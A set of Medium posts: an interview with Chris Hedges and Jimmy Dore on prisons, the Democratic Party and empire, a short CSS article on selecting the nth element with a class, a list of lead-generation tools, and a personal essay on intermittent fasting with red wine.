One of the reasons I teach in a prison because if you don’t have the language to describe systems of power, you can’t confront them. I went to these elite schools where you can get that kind of education, and of course what you’re doing at places like Harvard is being groomed for the plutocracy. It’s why places like Harvard exist, but if you stand fast with the what James Cone called the crucified of the earth, if you know who you are and who you represent, then they’re damned if you’re gonna get an education that will allow you to understand how the system functions. I mean people say for instance the prison system doesn’t work, and as you pointed out these bodies are worth nothing to the corporate State on the streets of Newark or Cleveland or Detroit or anywhere else. But once you lock him in a cage, they generate sixty thousand dollars a year. You don’t understand that the system works exactly the way it’s designed to work, and we have to begin to understand the nature of power that is arrayed against us and how vicious and venal it is.
So every night their play was sold out, and what was most moving is that we had a night just for the families of the playwrights, and about three or four minutes into the play I heard somebody sniffling, and they cried for 90 minutes. The Bard had a college debating team debate Harvard and won. This was big news all around the world. It wasn’t news to me. I wasn’t surprised at all. I went to Harvard, so maybe that’s why I wasn’t surprised.
Dore: My brother, who’s a personal injury lawyer, what he says is that what isn’t said is that the goodness of humanity inside of those men in prison existed inside of them before they were imprisoned, and the failure of our society is that its system is unable to tap that, rather it locks them away.
Hedges: I couldn’t agree more. In the play at one point I asked them to write about their mother, and one of the students said at the end of the class, ‘Well what if we’re a product of rape?’ and I said, well tell me. It comes back the next week, it’s completely autobiographical, and he and his half-brother in a car they’re stopped by the police they find a weapon. If nobody claims the weapon they’re all charged with weapons possession. It wasn’t his gun, and he tells the police it’s his, and then he relates the phone call from the county to his mother that says it doesn’t matter, Ma, you have the son you love. That’s why he’s in prison. I have many stories like. These are some of the most remarkable human beings I ever met who have risen above adversity and oppression and racism, endured things that none of us can imagine, and come out men and women of such amazing integrity and brilliance. I’m truly inspired by them and privileged to be among them. I get far more from them than I give. They are the most remarkable people I’ve ever met and how they came out on the other end to be who they are is nothing short of miraculous, and that they’re behind bars is one of the greatest crimes this country engages.
On Voting: Not Biden or Bernie
Dore: “What’s the point of electing people who don’t take corporate money if they take orders from the people who do?”
Hedges: They’ve all become part of the club. Bernie Sanders by the way has been a longtime member of the club and yeah the system has made it very clear that either you tow the line. . . Ocasio Cortez announced today she’s going to vote for Biden — and if you don’t tow the line you’re out.
There’s a very stark kind of division between critics of corporate capitalism who actually mean it and stand for something like Ralph Nader, and those who know the appropriate words but their actions essentially buttress the corporate state and that would include your right, the squad, along with Bernie Sanders. When you stand up for people, like when you stand up for the people who are being kicked out of their house and you stand up to Wall Street, really stand up to them, what is going to happen is you’re going to be treated just like those people. That is the one thing Bernie Sanders is not willing to do; he is not willing to be treated the same way Ralph Nader is treated.
Bernie spent four years, instead of building a real opposition movement, acting as a lackey to Schumer, and remember the power of Schumer and Pelosi is that they funnel all the Wall Street and corporate money to the anointed candidates. He runs again and now of course he’s endorsing Joe Biden, and I think it is political cowardice. I mean, it must have been incredibly naive to think the Democratic Party was ever gonna give him a shot even though he was kind of a loyal poodle for those four years. He’s not wrong. They would have destroyed him. Everybody else would have crucified him day in and day out although they did a pretty good job of red-baiting Bernie even when he was running. That’s the price Bernie didn’t want to pay. Bernie knows exactly the cost of doing what he is supposed to do, and he is unwilling to do it, and the cost of what he’s supposed to do which is, like, to put a hold on one of these horrible stimulus bills until it’s explained to everybody exactly what’s going on. The problem is Nancy Pelosi and Chuck Schumer. In a sense he’s selling us out, and he’s really not even getting anything. He’s just getting a Senate appointment and people being nice to him. That sounds almost crazy.
Sanders knew by September 2016 that the process was rigged, but said nothing to his supporters. He was tacitly complicit in the cover-up. It was left to one of the architects of the fraud, Donna Brazile, to reveal the scam, but by then it was too late. Sander’s capitulation in the face of the overwhelming evidence of the rigging of the nomination process was political and moral cowardice. He missed his historical moment, one that should have seen him denounce a corporate dominated party elite and walk away to build a third party candidacy. Sanders will never recover politically. Those who support Sanders’ capitulation, including his high price establishment consultants, will argue that politics is about compromise, and in practice this is true, but playing politics in a system that is not democratic is about becoming part of the charade.
The tragedy about Bernie is that I actually think he does care about Labor. I think these commitments are real. I don’t think he’s corrupt, but he lacks the fortitude to go up against this monolithic machine because he understands how destructive and brutal it is, and so he has capitulated.
DORE: Whatever we do as a country, really we’re a corporate state, to other countries, which is invade them under false pretenses, say we’re going to bring liberty and democracy. What we’re really bringing is corporate exploitation, and we want to steal their natural resources. So we create this amazing crisis in another country with our military invasion, which is terrorism, and then we use that crisis to steal their natural resources and reconfigure their culture in a way that serves us. David Felton would always say whatever we do to people overseas, we’re going to do it to ourselves.The corporate fleecing of this country is unparalleled. In the middle of a pandemic, instead of coming up with a healthcare plan to give people health care, they immediately gave five trillion dollars to the richest people in the country and left everyone else scrambling. And Hillary Clinton says we need to open up the markets so we can sell people health care as they lose their job, so that’s worse than saying let them eat cake; that’s saying let’s sell them some cake. That’s where the Democratic Party is.
And I’m supposed to vote for Joe Biden?? Biden is the greater evil of Donald Trump because when people elected Barack Obama they went to sleep. They thought, “Well he’s in charge.” He kicked five million people out of their house in a crisis; he doesn’t help people. He does what the corporate state wants. Aren’t you still shocked that people like Chomsky can say you have to vote for Joe Biden? If John McCain would have won that election in 2008, we’d be better off right now because nobody would have let him kick five million people out of their house, while he made the bank’s bigger, took us from two wars to seven, opened the Arctic to drilling. All the stuff Barack Obama did, people would have screamed about it, but because Barack Obama did it instead of John McCain, everybody was okay with it. Just like Bill Clinton was not the lesser of two evils. So can you speak to this kind of ridiculous idea in our culture that even Chomsky repeats every four years, that voting for the lesser of two evils somehow gets you somewhere.
Hedges: I love Chomsky. I would argue he’s our most important intellectual, and I’ve learned tremendous amounts from him, but Noam has done this for a really long time. He also doesn’t support BDS, so there are certain issues that he has — and probably issues that I have that he doesn’t agree with. I just don’t think historically it’s proven that it works very well, and let’s be clear about the “least worst” because when Bernie was surging there were all these articles in the New York Times quoting Lloyd Blankfein, the former CEO of Goldman Sachs, and all these other rich Democratic donors saying, ‘If Bernie is the nominee we’re all going to vote for Trump.’ So least worst only works for us, not for them. They know they’re safe with Biden. It’s all of these programs of austerity, the evisceration of our constitutional rights and civil liberties, the complete control of the legislative process by corporate lobbyists and corporate money, the massive amounts of money it takes to run, which comes from the oligarchs, which is only a form of legalized bribery. This hope came through figures like Clinton who were going to have fundraising parity with the Republicans and serve corporate power, which is what happened. And Biden was a stalwart of this by essentially not only abandoning working men and women but making war on the vulnerable. It all came from them and that’s how we ended up with Trump. Trump is the symptom; he’s not he’s not the disease.
I have covered collapsing societies, spent twenty years overseas and Central America. I lived in Argentina under the haunt; I was in the former Yugoslavia for the war when the system seized up. When power is taken by a cabal, when it no longer works, when everything within that society — even if it has the veneer of democracy — is used to funnel wealth and power upwards into the hands of this totally unaccountable rapacious oligarchic elite, then eventually people revolt against the system itself. The problem is the system. If anybody thinks Joe Biden is gonna make things better, I suppose maybe temporarily it’s a little better, but this is the system of corporate power that Sheldon Wolin calls inverted totalitarianism, and that is not going to get better unless we make war against the system. You know this whole idea that voting makes any real difference as Emma Goldman said, “If voting was that effective it would be illegal.” The oligarchs want Biden just like they wanted Clinton because he’s a more palatable face.
Having spent 20 years on the outer reaches of empire, what Empire is is the external expression of white supremacy. My closest friend who just died, James Cone, the father of Black Liberation Theology, grew up in segregated Arkansas. We had completely different lives, but I think we connected on that understanding how venal and and how evil white supremacy is because I was in countries in Central America in the Middle East for seven years where I saw how the Empire used the most brutal forms of control and violence and which was an overt kind of racist disdain for the cheap labor that they were subjugating and the natural resources that they were plundering. You know what happens in empire comes home through cities. He wrote about the evil of the Athenian empire, and said the tyranny that Athens imposed on others had finally imposed on itself, and that’s exactly what’s happening to us because they they test the techniques, the drones, the wholesale surveillance, the militarized police, they test it out on the wretched of the earth, and they hollow the country out from the inside. The American military is the institution most responsible for the death of American democracy, what democracy we had, and it was always very flawed and largely for white people. As they’ve hollowed the country out, and it’s just become one center of impoverished urban decay after another, they’ve brought back all of the mechanisms of control they use overseas and empire to be imposed on us. That’s what’s happening.
I think a corporate coup d’etat is happening in fast motion right now. That’s John Ralston Saul’s term. He wrote a very good book, Voltaire’s Bastards, which I would recommend. Anybody who thinks that we live in a functioning democracy should turn off Rachel Maddow, and start reading Sheldon Wolin. The mechanisms to essentially halt any kind of descent into a very overt police state are now gone, and what will happen is that there will be unrest. I think it’s inevitable. I don’t know what it will look like. I don’t know what form it will take, but it’s coming, and all you have to do is look at our internal colonies to see how both the physical mechanisms of militarized policing without accountability, terror, coupled with a court system that doesn’t function, coupled with a rewriting of laws, the creating of a society where rights become privileges, which means they can be taken away, what’s been done to poor people of color in these urban pockets will now be done to the rest of us the tools of subjugation, will be used on the rest of us, and there is no effort to respond rationally to what’s ahead of us.
I mean they know that we are headed for an economic dislocation that will rival the depression that we underwent in the 1930s, but there have to be some people who are astute enough to realize that there are mechanism Roosevelt employed, many of them by which you can mitigate this suffering, but they’re not going to go that route this time. This time they’re gonna bring out their version of the brownshirts, which will include these paramilitary for-profit mercenary entities organized by these Christian fascists like Eric Prince [founder of Blackwater], the brother of Betsy DeVos, and of course there was just a story a couple weeks ago about how he’s using these mercenaries to infiltrate teachers unions. That’s what’s coming. They’re ready. It’s the infrastructure; the legal system is decayed to such an extent that there’s no impediment. We don’t have any form of power left. Our unions have been broken. We’re all sitting entranced in front of electronic hallucinations. It doesn’t look good.
All of this was a bipartisan effort. On all of these major issues, whether it’s wholesale surveillance or austerity or prisons or anything else, there’s virtually no difference between the Republicans and the Democrats. Yes the Democrats are more tolerant, and if you are willing to put the face of a woman or an African-American as a kind of branding of empire, but again it’s this personalization of politics which is so infantile, and everything we debate is really anti-politics because we don’t talk about anything of substance, and that comes down to issues of how your economy is structured, class, everything else. We never have those discussions.
The Christian left has left the urban enclaves with white flight. They engaged in the same kind of boutique activism, which is just narcissism. They ignored economic justice, which King and Malcolm and everybody else understood was fundamental to confronting racism, and they continued to speak like the liberal class in that rhetoric of justice and fairness and tolerance. This is why I don’t like liberals because I learned my lesson: I lived in housing project in Roxbury and ran a church there while I was in seminary at Harvard Divinity School, and I would commute into Cambridge with all of these classmates of mine who talked about empowering people they never met, and so this is the root Chomsky has delineated. This is the role of the liberal establishment where the rest of the liberal society is checked out, refusing to confront the monolithic forms of evil, even death, that lie before us. If we talk about climate change and busying themselves with diversity and identity politics, inclusiveness, I mean all of this is good, but to somehow draw a line there as if Clarence Thomas, because he’s a black man, is an asset on the Supreme Court. It’s all cosmetic. I mean as Cornel West said very correctly about Barack Obama, he was just a black mascot for Wall Street. So the church has been destroyed by the same kind of liberal irrelevance that has infected the rest of the liberal society.
Dore: I was really enamored of Tulsi Gabbard’s campaign because she seemed to be doing the critique that no other Democrat was willing to do, not only of our interventionist wars, but of the Democratic Party and the security state and the intelligence community and how it worked. Am I just being naive that I thought she was making a real critique?
Hedges: She paid for it. They called her a Russian asset. These people play hardball. I know as a reporter for the New York Times, which means just on the inside and behind that curtain, the knives are out, and they’ll stop at nothing, and that’s what frightened Bernie Sanders. That’s what frightened Diane Feinstein when she tried to investigate the torture program by the CIA. There’s a stunning press conference where her face is as white as a ghost, and she realized that the deep state is real, that she just picked out an enemy who would stop at nothing to destroy her. These centers of power are very unforgiving, and they will destroy you personally, politically, economically. They will stop at nothing, and very very few people have the moral fortitude, what Niebuhr called sublime madness to just keep going. Ralph Nader is one. Ralph just wouldn’t bend, and he paid for it. I think we will look back on this particular period in American history, if there’s any of us to look back on it, and recognize that he’s one of the most important and courageous figures in American political life
On Hope
Dore: We went through eight years of Barack Obama, black guy with a Muslim name as president and chief of our criminal justice system; he imprisoned zero bankers, wouldn’t take marijuana to a schedule… Is there any hope? We’re the world’s largest penal system in the world.
Hedges: I don’t share the mania for hope. We just have to do what’s right. Hope’s a funny thing especially when you build real relationships with oppressed people. I speak as a white privileged male, and I understand that privilege is a form of a blindness, as hard as I try, that privilege means that I can never fully understand who these people are, what they endure, but if I honor that blindness, I can have relationships. In that class I taught, where the students had the sit-down strike, I had one A+. He was living in an abandoned house at the age of 14, picked up for a crime he didn’t commit. He was barely literate, forced to sign a confession he couldn’t read, sentenced as a child as a young teenager as an adult. He’s not eligible to go before a parole board until he’s 70, and he at the end of the class he says, “I know I’m gonna die in this prison, but I work as hard as I do because one day I’m gonna be a teacher like you.” And he walks out. That’s hope. Maybe in the end we only changed the world one person at a time itself, but it sustains you when you can connect. I kind of think we’re finished, but, as so many of my students in prison understand, it’s about dignity; it’s about independence; it’s about justice. It’s about the understanding that we will stand with the oppressed and the crucified of the earth no matter what. When you truly stand with the oppressed, then you can expect to get treated like the oppressed and finally it really comes down to what constitutes a life of meaning, and everything I’ve fought for my entire life is worse than when I began, but I don’t think that invalidates what I’ve done.
Most revolutionaries rise up. Hannah Arendt says never trust those people who say this shouldn’t be done or this ought to be done, only trust those people who say I can’t. Most revolutionaries throughout history succeed every once in a while. They do. Most don’t. I mean our greatest prophets Martin and Malcolm, were killed. Fred Hampton 24 years old, was building alliances with the white working-class in Chicago and that was something that the FBI was terrified of. It is about sublime madness; it is about the great radical priest who baptized my youngest daughter who said faith is the belief that the good draws to it the good, even if empirically everything around you says otherwise. It’s what Kierkegaard calls the leap of faith, and you believe it even though you don’t have physical empirical evidence to prove it. I think the good does draw to it the good. I do what I do because of all those people my father helped. He was a Presbyterian minister civil rights advocate and gay rights activists; his brother was gay. I can’t betray those people. I spent 63 years now, and I worry a lot about the ecocide. I have children, and it doesn’t look good. I, at least, want them to look back and say that their father tried, and that’s all we can do. I don’t share the culture’s mania for hope. I care more about doing what’s right in maintaining relationships with people who are oppressed. I think too many liberals for the oppressed are an abstraction. If you can’t walk out of that prison and be angry, you don’t have a heart. I can’t keep quiet. I can’t stop doing what I’m doing because people I care deeply about are sitting in a cage right now, and, because of corona, they’re sitting in a cage 23 hours a day. Oftentimes that’s much of my drive. I have spoken about what’s happening to Palestinians in Gaza because I have close relationships with people in Gaza, and I know whatever price I pay is nothing compared to what they endure, and I think that that acts of human solidarity transcends hope, and to somehow not stand up on behalf of these people and not cry out, especially because their voices are often muzzled, I just couldn’t live with myself.
***
Hedges’ most recent book was The Farewell Tour, and his upcoming book will be called Mass Incarceration.
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https://medium.com/thrice-removed/chris-hedges-on-revolution-media-prison-corruption-and-hope-5e538a97d2f9
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['Marie Snyder']
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2020-05-14 14:43:19.090000+00:00
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['Hope', 'Corrupt Politics', 'Prison Reform', 'Journalism', 'Chris Hedges']
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CSS Select nth element with class
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Nth Element With a Certain Class
What I really wanted to do was select the nth appearance of an element with a certain class inside a common parent.
Take this markup for example:
Imagine you want to select the second list item that has the .active class. As I mentioned it earlier, this is currently not possible with CSS only.
It would be possible if the below selector worked:
In this selector, we used the general sibling selector (~). In case of A ~ B, it means to select a B element that comes after A in the HTML markup inside the same parent. The only difference between this and the adjacent sibling selector (+) is that in case of A + B, B has to come immediately after A.
Keeping this in mind, we can see that our proposed selector first selects an element with an .active class that comes after another .active element. This essentially means the second .active element. But the problem with this alone is that it would select all .active elements from the second appearance onwards. That’s why we exclude the .active elements coming after the second appearance using the :not pseudo-class.
The reason why this doesn’t work is because the :not pseudo class can’t handle combinators. You can only pass a single element, class, or id.
So if you really want to achieve this then you have two options:
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https://medium.com/better-programming/css-select-nth-element-with-class-a313d080e2bf
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['Mate Marschalko']
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2019-07-01 21:26:37.830000+00:00
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['CSS', 'Web Development', 'Front End Development', 'Sass', 'Css3']
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Best Lead Generation Tools to Get More Targeted Leads.
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Are you trying to find the simplest lead generation tools to grow your business?
Lead generation is quite just getting people to go to your site within the first place. It’s also about collecting their info so you’ll drive communication and switch casual traffic into loyal customers.
And a bit like any tough job, lead generation requires the proper tools.
That’s why during this post, we’ll be sharing our top picks for tools that’ll assist you nail every aspect of web-based lead generation. you’ll choose which tools are right for your own company, and you’ll soon be generating more leads and making more sales.
2. TrustPulse
3. SeedProd
4. WPForms
5. Constant Contact
6. Sendinblue
7. Hunter
8. AeroLeads
9. Voila Norbert
10. OutreachPlus
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https://medium.com/@shawonmehedi16/best-lead-generation-tools-to-get-more-targeted-leads-fe4c8f1f028a
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['Mehedi Shawon']
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2020-12-22 12:29:45.258000+00:00
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['Sales Leads', 'Email Marketing', 'Lead Generation', 'Business Email']
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Why Dirty Fasting Works For Me
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Why Dirty Fasting Works For Me
The premise behind intermittent fasting is simple: eat within a limited window of a 24-hour period to help improve your overall health.
Intermittent fasting (IF) has been shown to boost energy and mental clarity, to lower insulin levels, to assist in cellular repair, and to increase levels of human growth hormone, which can lead to weight loss and increase in muscle.
For some, doing IF for sixteen hours and eating within an eight-hour window works well (16:8). And after a month or so of 16:8, an adjustment to a 20:4 fasting schedule might work even better for others. (That’s how it worked for me.)
My point is that IF is more of a change in lifestyle, as opposed to a (probably) restrictive diet.
However, the biggest question about IF is, “What happens if I eat or drink something during my fasting window?”
There are plenty of IF advocates who would say, “It’s not a big deal. If your snack or drink was more than 50 calories, just re-start your fast.”
However, I have found that my emotional reliance on food makes it too challenging to *always* stick to water and tea during my fasting window.
Navigating My “Food is Reward” Mentality
Like pretty much everyone else in the whole wide world, I consider my job to be stressful. I teach in a rough urban area and strive every day to be positive and compassionate with my high school students, many of whom are struggling with generational poverty and PTSD.
Being strong and unflappable while I’m at work is a must. But it is also very emotionally depleting as well.
Right or wrong, food is my reward for successfully getting through another day. I like to cook meals that are healthy-ish, however, that comes with its own stressors of planning a weekly meal list, purchasing groceries, and finding the time to cook or prep the crock-pot.
So when I’m finally sitting down to eat with my family, I want to stretch out that reward. I feel like I earned it.
Why do we reward animals in restricted environments with food? Because it works. Image credit: Jooinn
And this leads to the “dessert versus wine” dilemma.
My Dessert Might Look Different From Yours
My eating window is usually 20:4, but when I’m finished with dinner, I’m torn between the desire to have “just a little something else,” or to convince myself that I’ll be fine with drinking water the rest of the evening.
In other words, if I break my fast with a small lunch at 2:30 p.m. and then finish dinner at 6:30 p.m., my fast should begin at 6:30 p.m. And then I would drink water or decaf tea for the rest of the evening.
However, as part of my (probably unhealthy) food-is-reward mentality, I often want to cheat on my fast — known as dirty fasting — and have something else in the evening while my husband and I are watching tv.
Subconsciously, I know that I want to extend that reward mentality a bit longer.
When I cheat with a real dessert, like one or two salted caramels, I feel terrible. My body loves sugar, but I react badly to it. My stomach gets bloated, my hip joints ache, and I get brain fog. I even react badly to fresh-cut pineapple sometimes.
However, when I dirty fast by having a kind-of-large 6 oz glass of red wine, I feel completely fine and consider my fast to still be legit.
Source: Pixabay
(Now before folks start dropping comments like, “Needing a glass of wine every night is a sign of alcoholism,” I’m going to politely let you know that your I’m-just-trying-to-help-er-okay-maybe-judge-you-because-I-KNOW-about-alcoholism perspective is probably well-intentioned, but I’m just not interested. I was married to an alcoholic for twenty years. Attended Al-Anon for ages. More on all that another day, okay?)
Let’s get back to the wine.
White or Red?
As I’ve aged, sadly, my overall sensitivity to sugar has increased. I used to like a nice sweet glass of white zinfandel, moscato or Riesling, but they started to backfire on my body. Even with a small glass, I would wake up feeling bloated and headachy. I soon discovered that these wines’ sugar content ranged from 5–14 grams of sugar — or even more. Yep, that’s a big ten-four no for me.
On the other hand, I found that dry reds like cabernet sauvignon or pinot noir usually contained less than a full gram of sugar.
Check this out:
Source: Wine Folly at https://winefolly.com/review/sugar-in-wine-chart/
Thus, I realized that, with a dry red, I could satisfy my food-as-reward mentality by drinking something adulty and low sugar during my fasting window….and that I would not suffer the consequences of bloating and joint inflammation.
And, even more importantly, that I would still lose weight.
Perfectionism vs. Reality
I’m fully expecting a bunch of other IF advocates to jump all over this article.
“Don’t you realize how many calories are in wine regardless of the sugar content?”
“Don’t you want to lose weight more quickly? You need to ditch the wine and stop rationalizing dirty fasts.”
“Why are you telling folks who want to lose weight to drink alcohol at night? That’s irresponsible.”
Well, I’ve said this before and I’ll say it again: Deprivation does not work for me. It is not sustainable. I already have a gluten sensitivity and I’m not up for adding any more restrictions to my diet. If that makes me a bad intermittent faster, then so be it. I just know that my weight is dropping and I don’t feel anxious or resentful anymore.
And if you’re nodding and saying, “Yes, girl, yes!” to embracing reality — rather than perfection — then please come sit with me.
We can have a glass of dry red and talk it over.
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https://medium.com/@lorichappellmann/why-dirty-fasting-works-for-me-8899eced3543
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['Dr. Miss']
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2020-11-02 21:51:02.970000+00:00
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['Health', 'Weight Loss Tips', 'Intermittent Fasting', 'Wine', 'Emotional Eating']
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